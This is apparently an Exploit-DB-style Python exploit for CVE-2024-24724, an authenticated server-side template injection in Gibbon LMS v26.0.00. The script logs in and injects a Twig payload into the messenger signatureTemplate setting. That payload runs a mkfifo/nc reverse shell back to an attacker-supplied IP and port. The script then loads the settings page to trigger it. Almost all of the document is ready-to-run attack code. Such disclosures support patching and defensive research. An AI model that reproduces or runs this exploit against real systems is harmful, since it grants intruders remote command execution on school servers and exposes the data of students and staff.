# Exploit Title: Gibbon LMS v26.0.00 - SSTI vulnerability # Date: 21.01.2024 # Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli) # Vendor Homepage: https://gibbonedu.org/ # Software Link: https://github.com/GibbonEdu/core # Version: v26.0.00 # Tested on: Ubuntu 22.0 # CVE : CVE-2024-24724 import requests import re import sys def login(target_host, target_port,email,password): url = f'http://{target_host}:{target_port}/login.php?timeout=true' headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"} data = f"-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n" r = requests.post(url, headers=headers, data=data, allow_redirects=False) Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie']) if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']): print("login successful!") return Session_Cookie[4] def rce(cookie, target_host, target_port, attacker_ip, attacker_port): url = f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php' headers = {"Content-Type": "multipart/form-data; boundary=---------------------------67142646631840027692410521651", "Cookie": cookie} data = f"-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n/modules/School Admin/messengerSettings.php\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"enableHomeScreenWidget\"\r\n\r\nY\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"signatureTemplate\"\r\n\r\n{{{{[\'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f']|filter('system')}}}}\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"messageBcc\"\r\n\r\n\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"pinnedMessagesOnHome\"\r\n\r\nN\r\n-----------------------------67142646631840027692410521651--\r\n" r = requests.post(url, headers=headers, data=data, allow_redirects=False) if 'success0' in str(r.headers['Location']): print("Payload uploaded successfully!") def trigger(cookie, target_host, target_port): url = f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0' headers = {"Cookie": cookie} print("RCE successful!") r = requests.get(url, headers=headers, allow_redirects=False) if __name__ == '__main__': if len(sys.argv) != 7: print("Usage: script.py <target_host> <target_port> <attacker_ip> <attacker_port> <email> <password>") sys.exit(1) cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6]) rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]) trigger(cookie, sys.argv[1], sys.argv[2])